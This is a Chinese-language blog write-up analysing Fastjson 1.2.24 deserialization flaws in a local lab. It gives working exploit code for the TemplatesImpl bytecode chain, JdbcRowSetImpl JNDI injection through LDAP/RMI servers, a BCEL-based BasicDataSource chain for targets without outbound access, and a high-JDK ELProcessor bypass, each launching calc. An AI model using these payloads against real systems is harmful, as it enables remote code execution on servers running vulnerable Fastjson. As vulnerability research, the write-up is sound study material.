Java安全-Fastjson-1.2.24版本漏洞分析
环境
- jdk8u65
- Maven 3.6.3
- 1.2.22 <= Fastjson <= 1.2.24
pom导入一些依赖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>4.0.9</version> </dependency> <dependency> <groupId>commons-io</groupId> <artifactId>commons-io</artifactId> <version>2.5</version> </dependency> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency> <dependency> <groupId>commons-codec</groupId> <artifactId>commons-codec</artifactId> <version>1.12</version> </dependency>
|
主要有两条攻击的链子,一条是基于 TemplatesImpl 的链子,另一条是基于 JdbcRowSetImpl 的链子
前置知识
fastjson代码实现
虽然上一篇专门探讨过这些问题,但是还想在这里再次总结一下
我们传入一串json数据(其实就是字符串)
1
| String jsonString = "{\"age\":18,\"name\":\"aa\"}"
|
指定将这个字符串解析成一个java对象
1
| User a = JSON.parseObject(jsonString,User.class);
|
之后就可以调用这个类的方法
1
| System.out.println(a.getName);
|

fastjson中有一个特性
传入带有@type字段的字符串,指定了要将这串字符串解析成的类
1
| String jsonString = "{\"@type\":\"com.sf.maven.fastjsondemo.User\",\"age\":18,\"name\":\"aa\"}";
|
反序列化一下
1 2
| Object a = JSON.parseObject(jsonString); System.out.println(a);
|

漏洞思路梳理
我们的 PoC 是把恶意代码放到一个 json 格式的字符串里面,开头是要接 @type 的。这里其实赋值就代表我们不需要通过反射来修改值,而是可以直接赋值。
@type 之后是我们要去进行反序列化的类,会获取它的构造函数、getter 与 setter 方法。
所以我们首先是要找这个反序列化类的构造函数、 getter,setter 方法有问题的地方,
基于 TemplatesImpl 的利用链
分析
CC3 链开辟了 TemplatesImpl 加载字节码的先河,而它的漏洞点在于调用了 .newInstance() 方法。我们现在回去看这里,发现漏洞点的地方实际上是一个 getter 方法,如图


这里就意味着我们使用type指定类解析时是会触发到这个方法的
在构造EXP之前,先来分析一下要传的参数

根据这里的if条件可以判断:
_name 不可以为 null,需要 _class 为 null,这样进入到 defineTransletClasses 这个方法里面。所以 _class 可以不用写,或者写为 null。_tfactory 也不能为 null,这个在CC3分析过
_bytecodes 是恶意字节码。恶意字节码的类需要
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
final String evilClassPath = "D:\\Test.class";
"
{ \"@type\":\"" + NASTY_CLASS + "\", \"_bytecodes\":[\""+evilCode+"\"], '_name':'exp', '_tfactory':{ },
";
|
但是实际上使用这个payload是无法弹出计算器的
记得我们在fastjson基础篇分析过,getter方法的调用是有条件的
- 非静态方法
- 无参数
- 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong
这里我们想去调用的 getTransletInstance() 这个方法不满足上述的返回值,它返回的是一个抽象类
向上寻找一下谁调用了getTransletInstance()
看着是 newTransformer() 方法调用了 getTransletInstance() 方法,但是无法了利用,因为它不是 setter/getter 方法,继续找
会找到一个 getOutputProperties方法,是可以让我们利用的getter方法,它的返回值Properties正是一个Map类型

大致的链子是这样
1 2
| getOutputProperties() ---> newTransformer() ---> TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
|
getOutputProperties是在获取outputProperties 变量的值调用的,我们先把它赋值为空
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
final String evilClassPath = "D:\\Test.class";
"
{ \"@type\":\"" + NASTY_CLASS + "\", \"_bytecodes\":[\""+evilCode+"\"], '_name':'exp', '_tfactory':{ }, \"_outputProperties\":{ },
";
|
实现
在反序列化的时候的参数需要加上 Object.class 与 Feature.SupportNonPublicField
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| package com.sf.maven.fastjsondemo;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.codec.binary.Base64; import org.apache.commons.io.IOUtils;
import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.IOException;
public class j { public static String readClass(String cls){ ByteArrayOutputStream bos = new ByteArrayOutputStream(); try { IOUtils.copy(new FileInputStream(new File(cls)), bos); } catch (IOException e) { e.printStackTrace(); } return Base64.encodeBase64String(bos.toByteArray()); }
public static void main(String args[]){ try { ParserConfig config = new ParserConfig(); final String evilClassPath = "D:\\Test.class"; String evilCode = readClass(evilClassPath); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'exp','_tfactory':{ },\"_outputProperties\":{ },"; System.out.println(text1);
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); } catch (Exception e) { e.printStackTrace(); } } }
|
这里多加了一步:
把本地的 Test.class 文件读入并 Base64 编码,构造成一个带 @type="...TemplatesImpl" 与 _bytecodes 的 JSON
如果直接读取.class文件内容输入到字节流,得到的都是二进制编码
运行后顺利弹出计算器

基于 JdbcRowSetImpl 的利用链
- 需要针对 jdk 版本
- 有依赖限制
- 需要出网(jndi必须外联)
简单来说就是 JNDI 注入的形式,也就是我们平常用的最多的攻击手段。
基于 JdbcRowSetImpl 的利用链主要有两种利用方式,即 JNDI + RMI 和 JNDI + LDAP,都是属于基于 Bean Property 类型的 JNDI 的利用方式。
我们找到JdbcRowSetImpl类中的connect方法存在一个lookup方法,可能存在JNDI注入
connect方法对this.getDataSourceName()进行了lookup

以下是getDataSourceName的代码,若我们可以控制dataSource,即可实现JNDI注入
虽然dataSource是一个私有属性,但是在本类中具有它public的setter方法,因此它是一个可控变量
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public String getDataSourceName() { return dataSource; }
public void setDataSourceName(String name) throws SQLException {
if (name == null) { dataSource = null; } else if (name.equals("")) { throw new SQLException("DataSource name cannot be empty string"); } else { dataSource = name; }
URL = null; }
|
接下来我们找connect方法的调用处,需要是一个getter或者是setter
我们找到了以下两种方法,而只有setAutoCommit方法是可以利用的
而getDatabaseMetaData不可利用的原因是
- 返回值为
DatabaseMetaData,不为指定类型
- 遍历getter方法需要使用
parseObject方法,若要调用getter,则在toJSON方法前不能出错

setAutoCommit方法

JNDI+LDAP
使用yakit的反连服务器功能
直接生成payload

EXP
1 2 3 4 5 6 7 8 9 10 11
| package com.sf.maven.fastjsondemo;
import com.alibaba.fastjson.JSON;
public class JdbcRowSetImplExp { public static void main(String[] args) { String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:7777/hRrOkkZK\", \"autoCommit\":false}"; JSON.parseObject(payload); } }
|
顺利弹出计算器

JNDI + RMI
这一条链子名为 JdbcRowSetImpl,这个是 JNDI 的 Reference 的攻击方式。
JdbcRowSetImpl 类里面有一个 setDataSourceName() 方法,一看方法名就知道是什么意思了。设置数据库源,我们通过这个方式攻击。
1 2 3 4
| { "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true }
|
根据 JNDI 注入的漏洞利用,需要先起一个 Server
JNDIRmiServer.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import javax.naming.InitialContext; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class JNDIRMIServer01 { public static void main(String[] args) throws Exception{ InitialContext initialContext = new InitialContext(); Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("TestRef","TestRef","http://localhost:7777/"); initialContext.rebind("rmi://localhost:1099/remoteObj", reference); } }
|
用python在本地起一个服务器
1
| python -m http.server 7777 --bind 127.0.0.1
|
EXP
1 2 3 4 5 6 7 8 9
| import com.alibaba.fastjson.JSON;
public class JdbcRowSetImplExp { public static void main(String[] args) { String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/remoteObj\", \"autoCommit\":true}"; JSON.parse(payload); } }
|
顺利弹出计算器

当然使用刚刚那种使用工具生成payload也是可以弹出计算器的
基于BasicDataSource的不出网利用链
分析
在出网情况下可以远程加载恶意类,如果在目标不出网的情况下,只能通过本地类加载来利用
我们这里的核心是BCEL中的一个ClassLoader的loadclass,若这个类的开头命名满足$$BCEL$$,就会创建出一个类,并进行类加载
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| protected Class loadClass(String class_name, boolean resolve) throws ClassNotFoundException { ......
if(cl == null) { JavaClass clazz = null;
if(class_name.indexOf("$$BCEL$$") >= 0) clazz = createClass(class_name); else { if ((clazz = repository.loadClass(class_name)) != null) { clazz = modifyClass(clazz); } else throw new ClassNotFoundException(class_name); }
if(clazz != null) { byte[] bytes = clazz.getBytes(); cl = defineClass(class_name, bytes, 0, bytes.length); } else cl = Class.forName(class_name); }
if(resolve) resolveClass(cl); }
classes.put(class_name, cl);
return cl; }
|
现在我们构造一个恶意类,用BCEL的ClassLoader进行类加载,并进行实例化,即可弹出计算器
这里使用encode的原因是在BCEL的ClassLoader的loadclass中,有一个方法createClass,其中对传入的参数进行了一次decode,因此我们需要手动encode一次才不会出错
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| protected JavaClass createClass(String class_name) { int index = class_name.indexOf("$$BCEL$$"); String real_name = class_name.substring(index + 8);
JavaClass clazz = null; try { byte[] bytes = Utility.decode(real_name, true); ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");
clazz = parser.parse(); } ...... return clazz; }
|
所以我们BCEL代码应该是这样的,这里读取盘下的Evil.class文件,然后经过BCEL编码,再加上$ $ BCEL $ $ 去绕过我们前面的if判断使其解码,最后再借助classLoader.loadClass去加载我们的恶意代码。可能不知道我在说啥,我说白了就是,在不出网的环境中你主机无法去请求http的资源,那么我就把恶意代码转换成字节码传进去,通过调用里面的方法使其执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| package com.sf.maven.fastjsondemo;
import com.alibaba.fastjson.JSON; import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.File; import java.io.FileInputStream; import java.io.IOException;
public class FastJsonBcel { public static void main(String[] args) throws Exception { ClassLoader classLoader = new com.sun.org.apache.bcel.internal.util.ClassLoader(); byte[] bytes = convert("D:\\Test.class"); String code = Utility.encode(bytes,true); classLoader.loadClass("$$BCEL$$"+code).newInstance(); } public static byte[] convert(String path) throws Exception { File file = new File(path); if (!file.exists()) { throw new IOException("File not found: " + path); }
try (FileInputStream fis = new FileInputStream(file)) { byte[] bytes = new byte[(int) file.length()]; int readBytes = fis.read(bytes); if (readBytes != file.length()) { throw new IOException("Failed to read the entire file: " + path); } return bytes; } } }
|
继续寻找链子,看看如何调到loadClass方法
先导入一个依赖
1 2 3 4 5
| <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-dbcp</artifactId> <version>9.0.20</version> </dependency>
|
我们找到tomcat中的BasicDataSource类中的createConnectionFactory
若driverClassLoader不为空,则使用该类加载器对driverClassName进行加载
这里涉及到类加载,就可能调用到loadClass方法

而正好这两个属性都有对应的setter方法,是可控的

继续向上找,发现能找到getConnection方法会调用到createConnectionFactory方法

所以这条利用链就是
1 2 3
| ClassLoader#loadClass BasicDataSource#createConnectionFactory BasicDataSource#getConnection
|
梳理一下
这条链核心利用点就是,如果类名开头是$$BCEL$$就会类加载
1 2
| if(class_name.indexOf("$$BCEL$$") >= 0) clazz = createClass(class_name);
|
为了调用这个方法,我们找到了BasicDataSource类的createConnectionFactory方法,通过设置driverClassLoader和driverClassName的值达到加载我们构造好的恶意字节码的目的
createConnectionFactory方法可以被getConnection方法调用
就这样完成了我们的调用链
为什么要把字节码转换成bcel码写在driverClassName值里
来自于loadClass方法
1 2 3 4
|
if(class_name.indexOf("$$BCEL$$") >= 0) clazz = createClass(class_name);
|
检查类名中是否包含 $$BCEL$$ 标记。
如果包含 $$BCEL$$,调用 createClass(class_name) 来生成 JavaClass(通常是把 BCEL 编码的字符串解码为类字节并构造 JavaClass)。
这一步是特殊处理:支持通过 $$BCEL$$ 直接注入/加载字节码的机制
$$BCEL$$ 机制允许通过类名携带编码后的字节码并被加载执行
实现
最后的EXP就是这样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| public class FastJsonBcel { public static void main(String[] args) throws Exception { ClassLoader classLoader = new com.sun.org.apache.bcel.internal.util.ClassLoader(); byte[] bytes = convert("F:\\java\\RMI\\RMIServer\\target\\classes\\TestRef.class"); String code = Utility.encode(bytes,true);
String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$"+code+"\",\"driverClassLoader\":\"{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}"; JSON.parse(s); System.out.println(code);
} public static byte[] convert(String path) throws Exception { File file = new File(path); if (!file.exists()) { throw new IOException("File not found: " + path); }
try (FileInputStream fis = new FileInputStream(file)) { byte[] bytes = new byte[(int) file.length()]; int readBytes = fis.read(bytes); if (readBytes != file.length()) { throw new IOException("Failed to read the entire file: " + path); } return bytes; } } }
|
Fastjson 攻击中 jdk 高版本的绕过
这里是针对基于 JdbcRowSetImpl 的利用链的 jdk 高版本绕过,绕过手段和之前是一样的,直接放 EXP 了
这个就是绕过jndi不能加载引用对象的限制
JNDIBypassHighJavaServerEL.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| import com.sun.jndi.rmi.registry.ReferenceWrapper; import org.apache.naming.ResourceRef; import javax.naming.StringRefAddr; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class JNDIBypassHighJavaServerEL { public static void main(String[] args) throws Exception { System.out.println("[*]Evil RMI Server is Listening on port: 1099"); Registry registry = LocateRegistry.createRegistry(1099); ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("forceString", "x=eval")); ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" + ".newInstance().getEngineByName(\"JavaScript\")" + ".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")")); System.out.println("[*]Evil command: calc"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); registry.bind("Object", referenceWrapper); } }
|
我们的 EXP 不变。
1 2 3 4 5 6 7 8
| import com.alibaba.fastjson.JSON; public class HighJdkBypass { public static void main(String[] args) { String payload ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1234/ExportObject\",\"autoCommit\":\"true\" }"; JSON.parse(payload); } }
|